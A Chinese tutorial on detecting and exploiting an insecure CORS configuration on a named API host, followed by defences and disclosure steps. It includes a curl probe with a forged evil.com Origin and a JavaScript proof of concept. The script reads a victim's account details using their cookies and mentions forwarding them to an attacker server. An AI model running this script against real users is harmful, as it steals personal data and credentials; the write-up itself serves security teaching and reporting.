利用不安全的跨源资源共享(CORS)---api.artsy.net
字数 961 2025-08-29 08:32:30
利用不安全的跨源资源共享(CORS)漏洞教学文档
1. CORS漏洞概述
跨源资源共享(CORS)是一种机制,允许网页从不同域(源)请求受限资源。当CORS配置不当时,可能导致敏感信息泄露或跨站请求伪造(CSRF)攻击。
2. 漏洞检测方法
2.1 使用CURL检测
curl https://api.artsy.net -H "Origin: https://evil.com" -I
关键响应头检查:
Access-Control-Allow-Credentials: true- 允许携带凭据Access-Control-Allow-Origin: https://evil.com- 反射了任意来源
这两个响应头组合出现通常表明存在CORS配置漏洞。
2.2 浏览器开发者工具检测
在浏览器中打开开发者工具(F12),检查网络请求的响应头是否包含上述两个关键头。
3. 漏洞利用步骤
3.1 识别敏感API端点
在示例中发现的敏感端点:
https://api.artsy.net/api/user_details/
3.2 构造恶意JavaScript代码
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "https://api.artsy.net/api/user_details/<User-ID>", true);
xhttp.withCredentials = true; // 携带用户凭据
xhttp.send();
}
3.3 利用要点
- withCredentials: 设置为true以携带用户cookie
- GET请求: 向敏感API端点发送请求
- 响应处理: 将响应内容显示或发送到攻击者服务器
4. 漏洞影响
成功利用可获取:
- 用户ID
- 注册日期
- 邮箱地址
- 手机号码
- 用户凭证
- 密码重置凭证
- 用户收藏品
- 用户设备信息
5. 防御措施
5.1 服务器端配置
-
限制允许的来源:
Access-Control-Allow-Origin: https://trusted-domain.com而不是反射任意来源或使用通配符(*)
-
避免使用通配符:
Access-Control-Allow-Origin: *当与
Access-Control-Allow-Credentials: true一起使用时特别危险 -
限制允许的方法和头:
Access-Control-Allow-Methods: GET, POST Access-Control-Allow-Headers: Content-Type
5.2 其他防御
- 验证Origin头: 服务器应验证请求的Origin是否在允许列表中
- 避免敏感操作使用CORS: 对于敏感操作,考虑其他安全机制
- 使用CSRF令牌: 即使CORS配置正确,也应使用CSRF保护
6. 学习资源
- GeekBoy博客文章 - 详细讲解CORS漏洞利用
- BugBountyPOC - 提供获得赏金的漏洞POC
- 示例利用视频 - 实际漏洞利用演示
7. 报告漏洞
发现CORS漏洞后,应按照目标网站的漏洞披露政策进行报告,通常包括:
- 漏洞描述
- 影响评估
- 重现步骤
- 修复建议
通过理解这些关键点,安全研究人员可以有效地识别、利用和报告CORS配置漏洞。